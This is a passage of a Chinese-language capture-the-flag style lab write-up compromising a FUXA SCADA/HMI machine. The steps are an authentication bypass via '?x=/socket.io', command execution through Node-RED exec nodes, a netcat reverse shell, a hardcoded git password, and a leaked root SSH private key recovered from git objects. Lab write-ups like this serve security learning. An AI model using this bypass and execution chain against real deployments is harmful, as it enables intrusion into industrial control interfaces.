0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ───────────────────────────────────────── ✔  root@kali  03:39:07 &#10;╰─ nmap 192.168.56.120 -p-&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:39 -0400&#10;Nmap scan report for 192.168.56.120&#10;Host is up (0.00092s latency).&#10;Not shown: 65532 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;1881/tcp open ibm-mqseries2&#10;MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 43.75 seconds&#10;╭─ /tmp/123 ─────────────────────────────────── ✔  44s  root@kali  03:39:56 &#10;╰─ nmap 192.168.56.120 -p22,80,1881 -sC -sV&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:43 -0400&#10;Nmap scan report for 192.168.56.120&#10;Host is up (0.0072s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 10.0p2 Debian 7&amp;#43;deb13u1 (protocol 2.0)&#10;80/tcp open http Apache httpd 2.4.66 ((Debian))&#10;|_http-server-header: Apache/2.4.66 (Debian)&#10;|_http-title: FUXA&#10;1881/tcp open http Node.js Express framework&#10;|_http-title: FUXA&#10;MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC)&#10;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#10;&#10;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;对于80 1881 端口进行访问，发现内容是一样的。&lt;/p&gt;&#10;&lt;p&gt;对该网站捣鼓了一会后，猜测该网站应该是某种框架，搜索&lt;code&gt;FUXA&lt;/code&gt;：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260525155550595.png' alt="image-20260525155550595" height="587" width="1387"&gt;&lt;/p&gt;&#10;&lt;p&gt;搜索到的第一个内容就在&lt;code&gt;GitHub&lt;/code&gt;上，进去查看了一下其中的内容，猜测&lt;code&gt;FUXA&lt;/code&gt;是开源的的，源码内容可能就在&lt;code&gt;Github&lt;/code&gt;上。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260525160045221.png' alt="image-20260525160045221" height="214" width="2076"&gt;&lt;/p&gt;&#10;&lt;p&gt;我们可以在&lt;code&gt;Security and quality&lt;/code&gt;查看最近的安全报告：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260525160257448.png' alt="image-20260525160257448" height="774" width="1806"&gt;&lt;/p&gt;&#10;&lt;p&gt;我们要缩小查找范围，必须确定 &lt;code&gt;FUXA&lt;/code&gt; 的版本，&lt;code&gt;FUXA&lt;/code&gt;的版本信息：在&lt;code&gt;main.*.js&lt;/code&gt;或&lt;code&gt;package.json&lt;/code&gt;文件中可以看到，但&lt;code&gt;package.json&lt;/code&gt;必须有权限才能看，所以这里只能从前端看：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260525191206439.png' alt="image-20260525191206439" height="248" width="2467"&gt;&lt;/p&gt;&#10;&lt;p&gt;从控制台可以看到，&lt;code&gt;FUXA&lt;/code&gt;的版本信息为：&lt;code&gt;1.2.8-2638&lt;/code&gt;，我们只需要搜索影响&lt;code&gt;1.2.8&lt;/code&gt;的&lt;code&gt;CVE&lt;/code&gt;公开漏洞。&lt;/p&gt;&#10;&lt;p&gt;我查到&lt;code&gt;CVE-2026-43945&lt;/code&gt;可以利用，漏洞原理：&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;CVE-2026-43945&lt;/code&gt;漏洞是认证中间件中的&lt;strong&gt;路径混淆缺陷&lt;/strong&gt;。服务器使用子串匹配完整 URL（包括查询参数）来排除某些路径不进行认证。&lt;/p&gt;&#10;&lt;p&gt;设计逻辑：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;const url = req.originalUrl || req.url || req.path;&#10;if (url.includes(&amp;#39;/socket.io&amp;#39;)) return next();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;通过在任何管理请求后附加 &lt;code&gt;?x=/socket.io&lt;/code&gt;，中间件会被“欺骗”，将该请求视为公开的 &lt;code&gt;WebSocket&lt;/code&gt; 握手，从而完全绕过 &lt;code&gt;secureEnabled&lt;/code&gt; 和 &lt;code&gt;nodeRedAuthMode&lt;/code&gt; 的检查。&lt;/p&gt;&#10;&lt;p&gt;漏洞验证：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;# 这是正常访问下的&#10;curl http://192.168.56.120:1881/api/version&#10;{&amp;#34;error&amp;#34;:&amp;#34;unauthorized_error&amp;#34;,&amp;#34;message&amp;#34;:&amp;#34;Authentication required!&amp;#34;}# &#10;# 利用?x=/socket.io 绕过&#10;curl -i &amp;#34;http://192.168.56.120:1881/api/version?x=/socket.io&amp;#34;&#10;HTTP/1.1 200 OK&#10;X-Powered-By: Express&#10;Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS&#10;Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept&#10;X-RateLimit-Limit: 100&#10;X-RateLimit-Remaining: 99&#10;Date: Mon, 25 May 2026 13:03:50 GMT&#10;X-RateLimit-Reset: 1779714267&#10;Content-Type: application/json; charset=utf-8&#10;Content-Length: 7&#10;ETag: W/&amp;#34;7-Cirs2uSpdAjnR3V3ReVBOKiq2OQ&amp;#34;&#10;Connection: keep-alive&#10;Keep-Alive: timeout=5&#10;&#10;&amp;#34;1.0.0&amp;#34;# &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这个可以绕过受保护的&lt;code&gt;/nodered/*&lt;/code&gt;端点的认证检测，可以配合&lt;code&gt;Node-RED&lt;/code&gt;进行远程代码执行。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="漏洞利用"&gt;&lt;span&gt;漏洞利用&lt;/span&gt;&#10; &lt;a href="#%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;http://192.168.56.120:1881/nodered/?x=/socket.io#flow/tab_1&lt;/code&gt;访问这个页面：&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;code&gt;inject&lt;/code&gt; 移动到右边的空白区域&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;exec&lt;/code&gt; 移动到右边的空白区区域，并在命令写入&lt;code&gt;whoami&lt;/code&gt;&#10;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260526104055402.png' alt="image-20260526104055402" height="672" width="1172"&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;debug&lt;/code&gt; 移动到右边的空白区域&lt;/li&gt;&#10;&lt;li&gt;将他们连接起来，就像这样：&#10;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260526104313717.png' alt="image-20260526104313717" height="280" width="1570"&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;exec&lt;/code&gt; 我们可以看到三个节点，从上到下代表：&lt;code&gt;标准输出 标准错误输出 返回代码&lt;/code&gt;；其实把&lt;code&gt;标准输出 标准错误输出连接到debug就可以&lt;/code&gt;。&lt;/li&gt;&#10;&lt;li&gt;看到部署没有，点击部署。&#10;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260526104710638.png' alt="image-20260526104710638" height="244" width="468"&gt;&lt;/li&gt;&#10;&lt;li&gt;点击注入左边的按钮，注入成功后，可以在调试窗口看到命令执行的结果。&#10;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260526105014104.png' alt="image-20260526105014104" height="449" width="2203"&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;基本上就是这样利用的，反向shell，只需要把&lt;code&gt;whoami&lt;/code&gt;更改为反向shell的payload，按上面的6，7操作再走一遍即可。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="反向shell获取立足点"&gt;&lt;span&gt;反向shell获取立足点&lt;/span&gt;&#10; &lt;a href="#%e5%8f%8d%e5%90%91shell%e8%8e%b7%e5%8f%96%e7%ab%8b%e8%b6%b3%e7%82%b9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;# kali&#10;nc -lvnp 39666&#10;listening on [any] 39666 ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;payload 如下图：&#10;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/fuxa/image-20260526110322729.png' alt="image-20260526110322729" height="413" width="2198"&gt;&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;connect to [192.168.56.101] from (UNKNOWN) [192.168.56.120] 53654&#10;id&#10;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#10;script -qc /bin/bash /dev/null&#10;www-data@FUXA:/opt/fuxa/FUXA/server$ ^Z&#10;[1] &amp;#43; 1125 suspended nc -lvnp 39666&#10;stty raw -echo;fg&#10;[1] &amp;#43; 1125 continued nc -lvnp 39666&#10; reset&#10;reset: unknown terminal type unknown&#10;Terminal type? xterm&#10;www-data@FUXA:/opt/fuxa/FUXA/server$ export SHELL=&amp;#34;/bin/bash&amp;#34;&#10;www-data@FUXA:/opt/fuxa/FUXA/server$ export TERM=&amp;#34;xterm-256color&amp;#34;&#10;www-data@FUXA:/opt/fuxa/FUXA/server$ stty size&#10;24 80&#10;# kali&#10;stty size&#10;34 82&#10;# 靶机&#10;www-data@FUXA:/opt/fuxa/FUXA/server$ stty rows 34 columns 82&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;www-data@FUXA:/opt/fuxa/FUXA/server$ cat /etc/passwd | grep bash&#10;root:x:0:0:root:/root:/bin/bash&#10;git:x:1001:1001:Git:/home/git:/bin/bash&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;两个用户&lt;code&gt;root git&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;查看了&lt;code&gt;sudo、suid、capablities、内网端口开放情况、内核漏洞&lt;/code&gt;，都没有可以利用的信息，经出题人提示：定时任务。&lt;/p&gt;&#10;&lt;p&gt;上传&lt;code&gt;pspy64&lt;/code&gt;到靶机上，&lt;code&gt;chmod +x ./pspy64&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;./pspy64&#10;&#10;2026/05/26 00:14:02 CMD: UID=1001 PID=4179 | /bin/bash -c /opt/fuxa/FUXA/server/scripts/local-sync.sh &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &#10;2026/05/26 00:14:02 CMD: UID=1001 PID=4180 | /usr/bin/sshpass -p /usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null git@127.0.0.1 /usr/local/bin/theme-refresh --quick &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现两个可疑进程，查看&lt;code&gt;local-sync.sh&lt;/code&gt;:&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;cat /opt/fuxa/FUXA/server/scripts/local-sync.sh&#10;#!/bin/bash&#10;set -euo pipefail&#10;&#10;LOCAL_HOST=&amp;#34;${1:-127.0.0.1}&amp;#34;&#10;GIT_USER=&amp;#34;git&amp;#34;&#10;GIT_PASS=&amp;#34;wi3fw39w0j12e&amp;#34;&#10;REMOTE_CMD=&amp;#34;/usr/local/bin/theme-refresh --quick&amp;#34;&#10;&#10;exec /usr/bin/sshpass -p &amp;#34;$GIT_PASS&amp;#34; /usr/bin/ssh \&#10; -o StrictHostKeyChecking=no \&#10; -o UserKnownHostsFile=/dev/null \&#10; &amp;#34;${GIT_USER}@${LOCAL_HOST}&amp;#34; &amp;#34;$REMOTE_CMD&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;获取到&lt;code&gt;git&lt;/code&gt;的ssh 凭据：&lt;code&gt;git : wi3fw39w0j12e&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;ssh git@192.168.56.120 -p 22&#10;git@192.168.56.120&amp;#39;s password: &#10;Linux FUXA 6.12.86&amp;#43;deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64&#10;&#10;The programs included with the Debian GNU/Linux system are free software;&#10;the exact distribution terms for each program are described in the&#10;individual files in /usr/share/doc/*/copyright.&#10;&#10;Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&#10;permitted by applicable law.&#10;git@FUXA:~$ cat user.txt&#10;flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我是真没想到，最后是通过&lt;code&gt;.git&lt;/code&gt;泄露获取ssh私钥，我想记录一下这个过程：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;git@FUXA:~$ find / -name .git 2&amp;gt;/dev/null&#10;/opt/fuxa/FUXA/.git&#10;git@FUXA:~$ cd /opt/fuxa/FUXA&#10;git@FUXA:/opt/fuxa/FUXA$ git log&#10;commit b7aab7ba14f943a94302f2e04bc86e621c2eb558 (HEAD -&amp;gt; main)&#10;Author: field-ops &amp;lt;ops@localhost&amp;gt;&#10;Date: Fri Dec 19 10:36:00 2025 -0500&#10;&#10; docs: note asset bundle slot convention&#10;&#10;commit 15a61556c42d78d6b99746036e10545c446eac14&#10;Author: field-ops &amp;lt;ops@localhost&amp;gt;&#10;Date: Fri Dec 19 10:08:00 2025 -0500&#10;&#10; ui: stage northbank station dashboard copy&#10;&#10;commit fbb0edc67415359de5008f5a4b5822229357455c&#10;Author: field-ops &amp;lt;ops@localhost&amp;gt;&#10;Date: Fri Dec 19 09:12:00 2025 -0500&#10;&#10; ops: keep local theme sync helper&#10;&#10;commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8)&#10;Author: unocelli &amp;lt;unocelli@gmail.com&amp;gt;&#10;Date: Thu Dec 18 21:02:23 2025 &amp;#43;0100&#10;&#10; Build for release&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;通过&lt;code&gt;git show hash&lt;/code&gt;，发现：只有&lt;code&gt;fbb0edc67415359de5008f5a4b5822229357455c&lt;/code&gt;hash的内容是关于脚本的，剩下两个关于描述。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;git@FUXA:/opt/fuxa/FUXA$ git show fbb0edc67415359de5008f5a4b5822229357455c&#10;commit fbb0edc67415359de5008f5a4b5822229357455c&#10;Author: field-ops &amp;lt;ops@localhost&amp;gt;&#10;Date: Fri Dec 19 09:12:00 2025 -0500&#10;&#10; ops: keep local theme sync helper&#10;&#10;diff --git a/server/scripts/local-sync.sh b/server/scripts/local-sync.sh&#10;new file mode 100644&#10;index 0000000..a898e28&#10;--- /dev/null&#10;&amp;#43;&amp;#43;&amp;#43; b/server/scripts/local-sync.sh&#10;@@ -0,0 &amp;#43;1,12 @@&#10;&amp;#43;#!/bin/bash&#10;&amp;#43;set -euo pipefail&#10;&amp;#43;&#10;&amp;#43;LOCAL_HOST=&amp;#34;${1:-127.0.0.1}&amp;#34;&#10;&amp;#43;GIT_USER=&amp;#34;git&amp;#34;&#10;&amp;#43;GIT_PASS=&amp;#34;wi3fw39w0j12e&amp;#34;&#10;&amp;#43;REMOTE_CMD=&amp;#34;/usr/local/bin/theme-refresh --quick&amp;#34;&#10;&amp;#43;&#10;&amp;#43;exec /usr/bin/sshpass -p &amp;#34;$GIT_PASS&amp;#34; /usr/bin/ssh \&#10;&amp;#43; -o StrictHostKeyChecking=no \&#10;&amp;#43; -o UserKnownHostsFile=/dev/null \&#10;&amp;#43; &amp;#34;${GIT_USER}@${LOCAL_HOST}&amp;#34; &amp;#34;$REMOTE_CMD&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这些内容对于root提权并没有价值。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;git@FUXA:/opt/fuxa/FUXA$ git branch -a&#10;* main&#10;# 只有一个分支&#10;git@FUXA:/opt/fuxa/FUXA$ git tag -l&#10;v1.2.8&#10;# 这个就是 commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8)&#10;# 没有任何信息&#10;git@FUXA:/opt/fuxa/FUXA$ git stash list&#10;# 没有任何暂存信息&#10;git@FUXA:/opt/fuxa/FUXA$ git for-each-ref --format=&amp;#39;%(refname) %(objectname)&amp;#39;&#10;refs/heads/main b7aab7ba14f943a94302f2e04bc86e621c2eb558&#10;refs/tags/v1.2.8 5d8463f5d1cf6fac512ff3f4c6889901330c4c21&#10;# 仓库里并没有藏别的引用&#10;git@FUXA:/opt/fuxa/FUXA$ git rev-parse --is-shallow-repository&#10;true&#10;# 查看这个仓库是不是“浅克隆”。&#10;# 是浅克隆，证明前面并没有隐藏提交&#10;git@FUXA:/opt/fuxa/FUXA$ cat .git/shallow&#10;5d8463f5d1cf6fac512ff3f4c6889901330c4c21 &#10;# 浅边界具体记录的是：5d8463f5d1cf6fac512...&#10;# 本地历史到这里就结束了&#10;git@FUXA:/opt/fuxa/FUXA$ git fsck --full --no-reflogs --unreachable&#10;Checking object directories: 100% (256/256), done.&#10;Checking objects: 100% (1441/1441), done.&#10;unreachable tree c571b7107cec708b402a3ff1264f4ec42ae09cea&#10;unreachable commit a272d4c0e5e6ba742bbe7a5039c46813fe38a79c&#10;unreachable blob 8495c96d487d9a591406d835f2738aceebee9612&#10;unreachable tree 26cdc4b8b8eab6efd49ea0f77d22d7094b88bdac&#10;# 列出了这些不可达对象&#10;# 有效内容有：&#10;unreachable commit a272d4c0e5e6ba742bbe7a5039c46813fe38a79c&#10;unreachable blob 8495c96d487d9a591406d835f2738aceebee9612&#10;unreachable tree 26cdc4b8b8eab6efd49ea0f77d22d7094b88bdac&#10;git@FUXA:/opt/fuxa/FUXA$ git show 8495c96d487d9a591406d835f2738aceebee9612&#10;#!/bin/bash&#10;set -euo pipefail&#10;&#10;BASE=&amp;#34;/opt/.cache-loader&amp;#34;&#10;MANIFEST=&amp;#34;$BASE/state/.sprite-manifest&amp;#34;&#10;READER=&amp;#34;/usr/local/bin/cache-snapshot&amp;#34;&#10;&#10;[ -x &amp;#34;$READER&amp;#34; ] || exit 0&#10;[ -r &amp;#34;$MANIFEST&amp;#34; ] || exit 0&#10;&#10;slot=&amp;#34;$(awk -F= &amp;#39;$1==&amp;#34;active&amp;#34;{print $2}&amp;#39; &amp;#34;$MANIFEST&amp;#34; 2&amp;gt;/dev/null | tr -d &amp;#39;[:space:]&amp;#39;)&amp;#34;&#10;[ -n &amp;#34;$slot&amp;#34; ] || slot=&amp;#34;stable&amp;#34;&#10;&#10;&amp;#34;$READER&amp;#34; verify icons &amp;#34;$slot&amp;#34; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 || true&#10;# 我们可以看到存在两个文件.sprite-manifest和cache-snapshot&#10;# 查看这两个文件的内容：&#10;git@FUXA:/opt/.cache-loader/state$ cat .sprite-manifest &#10;active=stable&#10;theme=nightshift&#10;build=20260506&#10;git@FUXA:/opt/.cache-loader$ cat /usr/local/bin/cache-snapshot &#10;#!/bin/bash&#10;set -euo pipefail&#10;&#10;ACTION=&amp;#34;${1:-}&amp;#34; # verify&#10;NS=&amp;#34;${2:-}&amp;#34; # icons&#10;SLOT=&amp;#34;${3:-stable}&amp;#34; &#10;STORE=&amp;#34;/opt/.cache-loader/state&amp;#34;&#10;MAP=&amp;#34;$STORE/.slots/$NS&amp;#34;&#10;&#10;[ -r &amp;#34;$MAP&amp;#34; ] || exit 1&#10;&#10;ref=&amp;#34;$(awk -v s=&amp;#34;$SLOT&amp;#34; &amp;#39;$1==s{print $2}&amp;#39; &amp;#34;$MAP&amp;#34; | tail -n 1)&amp;#34;&#10;[ -n &amp;#34;$ref&amp;#34; ] || exit 1&#10;&#10;case &amp;#34;$ACTION&amp;#34; in&#10; verify)&#10; GIT_DIR=&amp;#34;$STORE&amp;#34; /usr/bin/git cat-file -e &amp;#34;$ref&amp;#34;&#10; ;;&#10; stat)&#10; GIT_DIR=&amp;#34;$STORE&amp;#34; /usr/bin/git cat-file -s &amp;#34;$ref&amp;#34;&#10; ;;&#10; dump)&#10; GIT_DIR=&amp;#34;$STORE&amp;#34; /usr/bin/git cat-file blob &amp;#34;$ref&amp;#34;&#10; ;;&#10; *)&#10; exit 1&#10; ;;&#10;esac&#10;# /opt/.cache-loader/state 类似于 .git 文件夹 &#10;# 查看 /opt/.cache-loader/state/.slots/ 目录&#10;git@FUXA:~$ ls -al /opt/.cache-loader/state/.slots/&#10;total 12&#10;drwxr-x--- 2 root git 4096 Dec 20 10:30 .&#10;drwxr-x--- 8 root git 4096 Dec 20 10:30 ..&#10;-rw-r----- 1 root git 98 Dec 20 10:30 icons&#10;git@FUXA:~$ cat /opt/.cache-loader/state/.slots/icons&#10;stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8&#10;fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490&#10;git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -t 5eabba81b7dc9671da29ba0f45f5b6735bf479f8&#10;blob&#10;# 对象类型为 blob&#10;# 直接读取&#10;git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob 5eabba81b7dc9671da29ba0f45f5b6735bf479f8&#10;-----BEGIN OPENSSH PRIVATE KEY-----&#10;b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW&#10;QyNTUxOQAAACC5DI8wLz9Sg&amp;#43;DORiIyh1kmN&amp;#43;3va6kG&amp;#43;s7C/ocZ5f1e0wAAAJAy0ok2MtKJ&#10;NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg&amp;#43;DORiIyh1kmN&amp;#43;3va6kG&amp;#43;s7C/ocZ5f1e0w&#10;AAAECU4VgU3F&amp;#43;nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr&amp;#43;bkMjzAvP1KD4M5GIjKHWSY3&#10;7e9rqQb6zsL&amp;#43;hxnl/V7TAAAACnJvb3RATXViYW4BAgM=&#10;-----END OPENSSH PRIVATE KEY-----&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们已经获取了 root 的 私钥。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="获取flag"&gt;&lt;span&gt;获取flag&lt;/span&gt;&#10; &lt;a href="#%e8%8e%b7%e5%8f%96flag" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;vim ssh&#10;chmod 600 ./ssh&#10;ssh root@192.168.56.120 -p 22 -i ./ssh&#10;Linux FUXA 6.12.86&amp;#43;deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64&#10;&#10;The programs included with the Debian GNU/Linux system are free software;&#10;the exact distribution terms for each program are described in the&#10;individual files in /usr/share/doc/*/copyright.&#10;&#10;Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&#10;permitted by applicable law.&#10;Last login: Mon May 25 03:08:01 2026 from 192.168.56.1&#10;root@FUXA:~# ls&#10;root.txt&#10;root@FUXA:~# cat root.txt&#10;flag{root-a01a6651f93b105d6fa6908d37a43275}&#10;root@FUXA:~# &lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="攻击链总结"&gt;&lt;span&gt;攻击链总结&lt;/span&gt;&#10; &lt;a href="#%e6%94%bb%e5%87%bb%e9%93%be%e6%80%bb%e7%bb%93" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 